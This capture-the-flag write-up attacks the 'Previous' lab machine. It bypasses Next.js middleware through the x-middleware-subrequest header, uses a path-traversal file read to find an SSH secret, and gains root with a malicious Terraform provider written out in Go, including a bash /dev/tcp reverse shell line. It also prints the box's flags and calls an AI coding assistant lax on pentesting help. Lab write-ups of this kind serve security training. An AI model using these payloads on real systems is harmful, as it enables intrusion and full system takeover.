
Nmap Results
# Nmap 7.95 scan initiated Mon Aug 25 03:27:04 2025 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.227.170
Nmap scan report for 10.129.227.170
Host is up (0.016s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 25 03:27:25 2025 -- 1 IP address (1 host up) scanned in 20.80 secondsnmap scan output. Note the redirect to previous.htb in the HTTP output.echo -e '10.129.227.170\t\tprevious.htb' | sudo tee -a /etc/hostsService Enumeration
TCP/80
Walking the Application



jeremy@previous.htbPenetration Testing


localhost:3000 on certain URLsVirtual Host Enumeration
gobuster vhost --domain 'previous.htb' --append-domain -u http://10.129.208.241 -w /usr/share/seclists/Discovery/DNS/namelist.txt -t 100 -o vhost.txtNo new virtual hosts discovered...
Directory and File Enumeration
gobuster dir -u 'http://previous.htb' -x js -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o dir.txt/api (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
/api.js (Status: 307) [Size: 38] [--> /api/auth/signin?callbackUrl=%2Fapi.js]
/api-doc (Status: 307) [Size: 39] [--> /api/auth/signin?callbackUrl=%2Fapi-doc]
/api3.js (Status: 307) [Size: 39] [--> /api/auth/signin?callbackUrl=%2Fapi3.js]
/api2 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapi2]
/apis.js (Status: 307) [Size: 39] [--> /api/auth/signin?callbackUrl=%2Fapis.js]
/apimage.js (Status: 307) [Size: 42] [--> /api/auth/signin?callbackUrl=%2Fapimage.js]
/api-doc.js (Status: 307) [Size: 42] [--> /api/auth/signin?callbackUrl=%2Fapi-doc.js]
/api_test (Status: 307) [Size: 40] [--> /api/auth/signin?callbackUrl=%2Fapi_test]
/apis (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
/apimage (Status: 307) [Size: 39] [--> /api/auth/signin?callbackUrl=%2Fapimage]
/api4.js (Status: 307) [Size: 39] [--> /api/auth/signin?callbackUrl=%2Fapi4.js]
/api2.js (Status: 307) [Size: 39] [--> /api/auth/signin?callbackUrl=%2Fapi2.js]
/api4 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapi4]
/api_test.js (Status: 307) [Size: 43] [--> /api/auth/signin?callbackUrl=%2Fapi_test.js]
/apicache.js (Status: 307) [Size: 43] [--> /api/auth/signin?callbackUrl=%2Fapicache.js]
/apicache (Status: 307) [Size: 40] [--> /api/auth/signin?callbackUrl=%2Fapicache]
/api3 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapi3]
/cgi-bin/ (Status: 308) [Size: 8] [--> /cgi-bin]
/docs51 (Status: 307) [Size: 38] [--> /api/auth/signin?callbackUrl=%2Fdocs51]
/docs.js (Status: 307) [Size: 39] [--> /api/auth/signin?callbackUrl=%2Fdocs.js]
/docs (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fdocs]
/docs41.js (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdocs41.js]
/docs41 (Status: 307) [Size: 38] [--> /api/auth/signin?callbackUrl=%2Fdocs41]
/docs51.js (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdocs51.js]
/docs2.js (Status: 307) [Size: 40] [--> /api/auth/signin?callbackUrl=%2Fdocs2.js]
/docs2 (Status: 307) [Size: 37] [--> /api/auth/signin?callbackUrl=%2Fdocs2]
/signin (Status: 200) [Size: 3481]There seems to be some route matching on /api and /docs, /cgi-bin is a dead end
gobuster dir -u 'http://previous.htb/api/auth' -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o dir.txt --exclude-length 39-74Trial and error to find the filter for --exclude-length
/cgi-bin/ (Status: 308) [Size: 17] [--> /api/auth/cgi-bin]
/error (Status: 200) [Size: 5260]
/providers (Status: 200) [Size: 210]
/session (Status: 200) [Size: 2]
/signin (Status: 302) [Size: 0] [--> /signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000]
/signout (Status: 200) [Size: 5456]


Testing Authentication

jeremy:admin, HTTP POSTs URL-encoded data to /api/auth/callback/credentials


gobuster command earlier had all those redirects based on these pattern matches to redirect to auth middleware
Bypass the Authentication Middleware
- Make a request to
http://previous.htb/docs - Catch in Burp proxy Intercept mode
- Inject
x-middleware-subrequestheader and send


Exploring the Documentation

/api/download?example=hello-world.ts
-x with Burp proxy, Burp injects the header into the request.)
/proc/net/tcp and see we're in a Docker containerProbing Server Side Files

The CoPilot integration on GitHub is very loose with restrictions about pentesting advice, will answer almost anything. In this case, I asked it for server-side manifest of Next.js build files.


download API, but doesn't reveal all that much more than we already know
[...nextauth].js file -- brackets encoded to %5B and %5D respectivelyExploit
Local File Read -> SSH
A review of how we got here...
- We found the target to be running a version of Next.js that is vulnerable to
CVE-2025-29927 - Using the
x-middleware-subrequestheader, we can bypass any pages "protected" by the Next.js framework's authentication middleware - This exposes the application documentation, which reveals an API that is vulnerable to path traversal and local file read
- We find the page manifest and read the
[...nextauth].jsconfiguration to find a hard-coded secret:MyNameIsJeremyAndILovePancakes - We assume
jeremyis a user on the host system and test access againsttcp/22
ssh jeremy@previous.htb
Post-Exploit Enumeration
Operating Environment
OS & Kernel
PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
Linux previous 5.15.0-152-generic #162-Ubuntu SMP Wed Jul 23 09:48:42 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
Current User
uid=1000(jeremy) gid=1000(jeremy) groups=1000(jeremy)
Matching Defaults entries for jeremy on previous:
!env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir\=/opt/examples apply
Users and Groups
Local Users
jeremy:x:1000:1000:,,,:/home/jeremy:/bin/bash
Local Groups
jeremy:x:1000:
Network Configurations
Network Interfaces
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b0:5d:a0 brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.129.207.132/16 brd 10.129.255.255 scope global dynamic eth0
valid_lft 3038sec preferred_lft 3038sec
3: br-afcb879659ce: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:1b:32:a1:80 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.1/16 brd 172.18.255.255 scope global br-afcb879659ce
valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:fd:ec:47:62 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
Open Ports
tcp LISTEN 0 4096 127.0.0.1:45149 0.0.0.0:*
ARP Table
172.18.0.2 dev br-afcb879659ce lladdr 02:42:ac:12:00:02 STALE
Routes
default via 10.129.0.1 dev eth0
10.129.0.0/16 dev eth0 proto kernel scope link src 10.129.207.132
172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1 linkdown
172.18.0.0/16 dev br-afcb879659ce proto kernel scope link src 172.18.0.1
Interesting Files
/home/jeremy/.terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/usr/local/go/bin"
}
direct {}
}
/opt/examples/main.tf
terraform {
required_providers {
examples = {
source = "previous.htb/terraform/examples"
}
}
}
variable "source_path" {
type = string
default = "/root/examples/hello-world.ts"
validation {
condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
error_message = "The source_path must contain '/root/examples/'."
}
}
provider "examples" {}
resource "examples_example" "example" {
source_path = var.source_path
}
output "destination_path" {
value = examples_example.example.destination_path
}
/opt/examples/terraform.tfstate
{
"version": 4,
"terraform_version": "1.11.4",
"serial": 8,
"lineage": "44b13e76-4b23-5fd1-8bf6-b5625394edda",
"outputs": {
"destination_path": {
"value": "/home/jeremy/docker/previous/public/examples/hello-world.ts",
"type": "string"
}
},
"resources": [
{
"mode": "managed",
"type": "examples_example",
"name": "example",
"provider": "provider[\"previous.htb/terraform/examples\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"destination_path": "/home/jeremy/docker/previous/public/examples/hello-world.ts",
"id": "/home/jeremy/docker/previous/public/examples/hello-world.ts",
"source_path": "/root/examples/hello-world.ts"
},
"sensitive_attributes": []
}
]
}
],
"check_results": [
{
"object_kind": "var",
"config_addr": "var.source_path",
"status": "pass",
"objects": [
{
"object_addr": "var.source_path",
"status": "pass"
}
]
}
]
}
Privilege Escalation
Malicious Terraform Provider
Understanding the Exploit
Looking at the interesting files we've discovered, we have control over /home/jeremy/.terraformrc, which contains an override for the provider in /opt/example/main.tf

main.tf plan that is executed when running the sudo command
terraform apply is executed, but we have the local override in ~/.terraformrc...
/usr/local/go/bin
terraform-provider-examples is the provider loaded in this case due to the override/home/jeremy/.terraformrc, since it is in Jeremy's home directory, we can set the value to whatever we wish.Proof of Concept

/home/jeremy
/home/jeremy directory for a binary named terraform-provider-examples/home/jeremy/terraform-provider-examples and have the program executed as root.Becoming Root

1.23.0 on the target, useful for compiling locally and transferring to the targetgo install github.com/hashicorp/terraform-plugin-sdk/v2/terraform@latestInstall the Terraform plugin SDK
go mod init pwnStart a Terraform module project on Kali
nano go.modmodule pwn
go 1.23.0
require github.com/hashicorp/terraform-plugin-sdk/v2 v2.37.0Note the go 1.23.0 to conform to the target
/opt/examples/main.tf and asking it to develop a Terraform provider that would work with this plan and run regardless of plan state.nano main.gopackage main
import (
"context"
"os/exec"
"github.com/hashicorp/terraform-plugin-sdk/v2/helper/schema"
"github.com/hashicorp/terraform-plugin-sdk/v2/plugin"
"github.com/hashicorp/terraform-plugin-sdk/v2/diag"
)
func main() {
plugin.Serve(&plugin.ServeOpts{
ProviderFunc: func() *schema.Provider {
return &schema.Provider{
ResourcesMap: map[string]*schema.Resource{
"examples_example": resourceExample(),
},
}
},
})
}
func resourceExample() *schema.Resource {
return &schema.Resource{
Schema: map[string]*schema.Schema{
"source_path": {
Type: schema.TypeString,
Required: true,
},
"destination_path": {
Type: schema.TypeString,
Computed: true,
},
},
CreateContext: func(ctx context.Context, d *schema.ResourceData, m interface{}) diag.Diagnostics {
d.SetId(d.Get("source_path").(string))
d.Set("destination_path", d.Get("source_path").(string))
return nil
},
ReadContext: func(ctx context.Context, d *schema.ResourceData, m interface{}) diag.Diagnostics {
// Malicious payload: runs every apply/refresh
cmd := exec.Command("/bin/bash", "-c", "touch /tmp/test.txt")
_ = cmd.Run()
return nil
},
UpdateContext: func(ctx context.Context, d *schema.ResourceData, m interface{}) diag.Diagnostics {
return nil
},
DeleteContext: func(ctx context.Context, d *schema.ResourceData, m interface{}) diag.Diagnostics {
d.SetId("")
return nil
},
}
}This is a Terraform provider that will run /bin/bash -c "touch /tmp/test.txt" ON EACH APPLY regardless of state
go build -o terraform-provider-examples main.goCompile the provider
scp terraform-provider-examples jeremy@previous.htb:/home/jeremy
Copy the file to the target via scp
sudo /usr/bin/terraform -chdir\=/opt/examples applyRun it on the target



root/bin/bash -c payload in main.go, recompile, and re-transfer to the target via scp.cmd := exec.Command("/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/10.10.14.165/443 0>&1")Example of a new payload for a reverse shell


Flags
User
278b075dc1e42a4378b62802873dca48
Root
5df6923f752255bef8da3250fded910c
